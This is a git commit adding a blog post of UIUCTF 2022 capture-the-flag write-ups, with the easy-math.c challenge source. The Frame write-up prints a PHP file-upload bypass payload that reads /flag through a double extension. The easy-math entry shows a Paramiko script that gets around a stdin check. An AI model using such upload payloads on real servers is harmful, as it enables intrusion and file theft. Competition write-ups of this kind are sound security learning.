uiuctf 2022
This commit is contained in:
parent
d39c66e866
commit
910fa274ba
6 changed files with 269 additions and 0 deletions
|
@ -357,6 +357,11 @@ table.table {
|
|||
line-height: 1.5;
|
||||
}
|
||||
|
||||
> p > img {
|
||||
display: block;
|
||||
margin: auto;
|
||||
}
|
||||
|
||||
.footnotes {
|
||||
font-size: .9em;
|
||||
line-height: 1.2;
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 24 KiB |
60
content/posts/2022-08-01-uiuctf-2022-writeups/easy-math.c
Normal file
60
content/posts/2022-08-01-uiuctf-2022-writeups/easy-math.c
Normal file
|
@ -0,0 +1,60 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <sys/stat.h>
|
||||
|
||||
#define MATH_PROBLEMS 10000
|
||||
|
||||
int take_test() {
|
||||
int urand = open("/dev/urandom", O_RDONLY);
|
||||
if (!urand) return 1;
|
||||
unsigned char urand_byte;
|
||||
|
||||
for (int i=0; i<MATH_PROBLEMS; i++) {
|
||||
if (read(urand, &urand_byte, 1) != 1) return 1;
|
||||
int a = urand_byte & 0xf;
|
||||
int b = urand_byte >> 4;
|
||||
printf("Question %d: %d * %d = ", i+1, a, b);
|
||||
|
||||
int ans;
|
||||
if (scanf("%d", &ans) != 1) return 1;
|
||||
if (ans != a * b) return 1;
|
||||
}
|
||||
|
||||
close(urand);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int check_id() {
|
||||
printf("Checking your student ID...\n\n");
|
||||
sleep(1);
|
||||
struct stat real, given;
|
||||
if (stat("/proc/1/fd/0", &real)) return 1;
|
||||
if (fstat(0, &given)) return 1;
|
||||
if (real.st_dev != given.st_dev) return 1;
|
||||
if (real.st_ino != given.st_ino) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main() {
|
||||
setreuid(geteuid(), getuid());
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
printf("Welcome to the MATH 101 final exam.\n");
|
||||
if (check_id()) {
|
||||
printf("The proctor kicks you out for pretending to be a student.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("The test begins now. You have three hours.\n\n");
|
||||
alarm(3 * 60 * 60);
|
||||
if (take_test()) {
|
||||
printf("You have failed the test.\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
setreuid(getuid(), getuid());
|
||||
system("cat /home/ctf/flag");
|
||||
return 0;
|
||||
}
|
BIN
content/posts/2022-08-01-uiuctf-2022-writeups/frame.tar.gz
Normal file
BIN
content/posts/2022-08-01-uiuctf-2022-writeups/frame.tar.gz
Normal file
Binary file not shown.
204
content/posts/2022-08-01-uiuctf-2022-writeups/index.md
Normal file
204
content/posts/2022-08-01-uiuctf-2022-writeups/index.md
Normal file
|
@ -0,0 +1,204 @@
|
|||
+++
|
||||
title = "UIUCTF 2022 Writeups"
|
||||
date = 2022-08-01
|
||||
tags = ["ctf"]
|
||||
layout = "single"
|
||||
math = true
|
||||
+++
|
||||
|
||||
Last weekend I took some time on Friday to do UIUCTF 2022. I placed 102nd with
|
||||
462 points. Here are the writeups to the challenges I solved. My full workspace
|
||||
including partial work on unsolved challenges is published at
|
||||
[~mzhang/uiuctf-2022].
|
||||
|
||||
[~mzhang/uiuctf-2022]: https://git.sr.ht/~mzhang/uiuctf-2022
|
||||
|
||||
Thanks to @sampai, @vekt0r, and @# from the MIT osu! server for helping out
|
||||
with some of the challenges :)
|
||||
|
||||
<!--more-->
|
||||
|
||||
## Web: Frame - 50 points
|
||||
|
||||
> "ornate wooden empty picture frame, on a teal wall"
|
||||
>
|
||||
> We made it easy to add a frame to your digital art! https://frame-web.chal.uiuc.tf/
|
||||
>
|
||||
> [handout.tar.gz](frame.tar.gz)
|
||||
|
||||
This challenge prompted us to upload an image, and then it would display the
|
||||
image inside of a frame. Notably, this frame was done client-side, which means
|
||||
the original image was not post-processed in any way. If we look at the code
|
||||
that checks to make sure you uploaded a valid image:
|
||||
|
||||
```php
|
||||
$allowed_extensions = array(".jpg", ".jpeg", ".png", ".gif");
|
||||
$filename = $_FILES["fileToUpload"]["name"];
|
||||
$tmpname = $_FILES["fileToUpload"]["tmp_name"];
|
||||
$target_file = "uploads/" . bin2hex(random_bytes(8)) . "-" .basename($filename);
|
||||
|
||||
$has_extension = false;
|
||||
foreach ($allowed_extensions as $extension) {
|
||||
if (strpos(strtolower($filename), $extension) !== false) {
|
||||
$has_extension = true;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The flaw here is that the file extension is only checked for existence, not that
|
||||
it actually occurs at the end of the file. As a result, the web server will
|
||||
guess the kind of data in the file based on the final extension. We can simply
|
||||
upload a file named `hello.jpg.php` and it will pass this.
|
||||
|
||||
The Dockerfile in the handout helpfully tells us the location of the flag, so
|
||||
here is the file I uploaded:
|
||||
|
||||
```
|
||||
cp real_image.jpg hello.jpg.php
|
||||
echo '<?php echo file_get_contents("/flag"); ?>' >> hello.jpg.php
|
||||
```
|
||||
|
||||
Uploading this file reveals the flag.
|
||||
|
||||
## Web: AR Pwny - 50 points
|
||||
|
||||
> "a green cybernetic horse grazing in the sun"
|
||||
>
|
||||
> Welcome to the meataverse! http://ar-pwny-web.chal.uiuc.tf/
|
||||
>
|
||||
> [pwny.glb](pwny.glb)
|
||||
|
||||
A glb file is a glTK texture. We can open this in a program such as [Blender] in
|
||||
order to understand it. Use **File > Import > glb** to open the file, then hide
|
||||
all of the objects except the two flag halves.
|
||||
|
||||
[blender]: https://www.blender.org
|
||||
|
||||
![Hiding blender objects](blender-objects.png)
|
||||
|
||||
This reveals two QR codes that can be combined into the flag.
|
||||
|
||||
## Pwn: easy math 1 - 88 points
|
||||
|
||||
> Take a break from exploiting binaries, and solve a few\* simple math problems!
|
||||
>
|
||||
> `$ ssh ctf@easy-math.chal.uiuc.tf` password is `ctf`
|
||||
>
|
||||
> [easy-math.c](easy-math.c)
|
||||
|
||||
This is really just a simple programming exercise. Looking at the source code,
|
||||
the annoying part is that it checks that your standard input is the same as the
|
||||
standard input of proc 1.
|
||||
|
||||
This isn't too bad to get around, since we can just puppet the pseudoterminal of
|
||||
the SSH connection entirely using something like Paramiko:
|
||||
|
||||
```python
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||
ssh.connect("easy-math.chal.uiuc.tf", 22, "ctf", "ctf")
|
||||
|
||||
ch = ssh.invoke_shell()
|
||||
print(ch.recv(1024))
|
||||
```
|
||||
|
||||
Looks like there was a more sneaky way of solving this challenge, which is what
|
||||
easy-math-2 went into, but I didn't spend enough time looking at this in order
|
||||
to figure it out.
|
||||
|
||||
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/pwn/easy-math-1/solve.py)
|
||||
|
||||
## Crypto: Military Grade Encryption - 50 points
|
||||
|
||||
> I came across a new website that claims to keep my flag safe with
|
||||
> military-grade encryption. Clearly, this is going to keep my flag safe from
|
||||
> anyone who may want it. https://military-grade-encryption-web.chal.uiuc.tf/
|
||||
|
||||
I'm not really sure what the clever way to solve this was, but all the numbers
|
||||
were small enough to be brute forced, so that's what I did. Simply reverse the
|
||||
process used and look for a string beginning with `uiuctf{`.
|
||||
|
||||
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/military-grade-encryption/solve.py)
|
||||
|
||||
## Crypto: asr - 85 points
|
||||
|
||||
> Oh no I dropped my d. Good thing I'm not telling you my n.
|
||||
|
||||
As this challenge implies, the problem comes from reversing the typical
|
||||
challenge of RSA. This time, rather than starting with a modulus and trying to
|
||||
discover the private exponent, we are given the private exponent, and trying to
|
||||
find the modulus.
|
||||
|
||||
As a reminder, once we find $N$, we can simply evaluate $c^d \mod N$ to
|
||||
determine the final message.
|
||||
|
||||
First, we know that the relationship between $e$ and $d$ is that $ed \equiv 1
|
||||
\mod \phi(N)$. Translating this to plain algebra, this means $ed - 1 = k\phi(N)$
|
||||
for some positive integer $k$. This tells us that $ed - 1$ must divide
|
||||
$\phi(N)$.
|
||||
|
||||
We used an [external factoring service] to factor $ed - 1$. Using the
|
||||
`gen_prime` method given to us, we are able to validate that our factorization
|
||||
ended up being what was expected: exactly 16 64-bit primes, and a handful of
|
||||
smaller primes. The only thing left is organizing the 16 primes into two groups
|
||||
of 8.
|
||||
|
||||
[external factoring service]: https://www.alpertron.com.ar/ECM.HTM
|
||||
|
||||
Trusty old combinatorics tells us ${16 \choose 8} = 12870$, which is easily
|
||||
iterable within a matter of seconds. After picking 8 primes, we simply run
|
||||
through the same process as `gen_prime` in order to generate our $p$ and $q$:
|
||||
|
||||
```python
|
||||
for perm in tqdm(perms):
|
||||
perm = set(list(perm))
|
||||
p = prod(perm)
|
||||
q = prod(bigprimes - perm)
|
||||
|
||||
for i in range(7):
|
||||
if isPrime(p + 1): break
|
||||
p *= small_primes[i]
|
||||
for i in range(7):
|
||||
if isPrime(q + 1): break
|
||||
q *= small_primes[i]
|
||||
|
||||
p = p + 1
|
||||
q = q + 1
|
||||
```
|
||||
|
||||
All that's left is to run $c^d \mod N$ and find strings that begin with
|
||||
`uiuctf{` to determine which of these organizations of prime factors is the
|
||||
correct one.
|
||||
|
||||
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/asr/solve2.py)
|
||||
|
||||
## Wringing Rings - 139 points
|
||||
|
||||
> Everyone says we should use finite fields, but I loved sharing secrets this
|
||||
> way so much that I put a ring on it!
|
||||
>
|
||||
> `$ nc ring.chal.uiuc.tf 1337`
|
||||
|
||||
This challenge employs a variation of [Shamir's Secret Sharing algorithm][SSS].
|
||||
The crux of the algorithm involves encoding a shared secret into the
|
||||
coefficients of a polynomial of degree $k$. Note that given $k + 1$ unique
|
||||
points on this polynomial, the entire polynomial can be recovered. If $k$ is 6,
|
||||
and we generate 12 unique points to split between 12 people, then any individual
|
||||
must find 6 others in order to recover the secret.
|
||||
|
||||
[SSS]: https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
|
||||
|
||||
The problem with the implementation in question is that it does not operate over
|
||||
a finite field, as required by the original algorithm. This leaks information
|
||||
about the secret, specifically with respect to what numbers it divides, since we
|
||||
know that all coefficients must be integers.
|
||||
|
||||
This means that even with the absence of one of the required points, we can
|
||||
still reasonably recover the curve with the added information that all
|
||||
coefficients are less than $500,000$.
|
||||
|
||||
I simply threw all of the constraints we are given into the z3 solver, and
|
||||
within milliseconds the answer was given. After that it was just a matter of
|
||||
hooking it up to the challenge server and waiting for the flag.
|
||||
|
||||
[solve script](https://git.sr.ht/~mzhang/uiuctf-2022/tree/master/item/crypto/wringing-rings/solve.py)
|
BIN
content/posts/2022-08-01-uiuctf-2022-writeups/pwny.glb
Normal file
BIN
content/posts/2022-08-01-uiuctf-2022-writeups/pwny.glb
Normal file
Binary file not shown.
Loading…
Reference in a new issue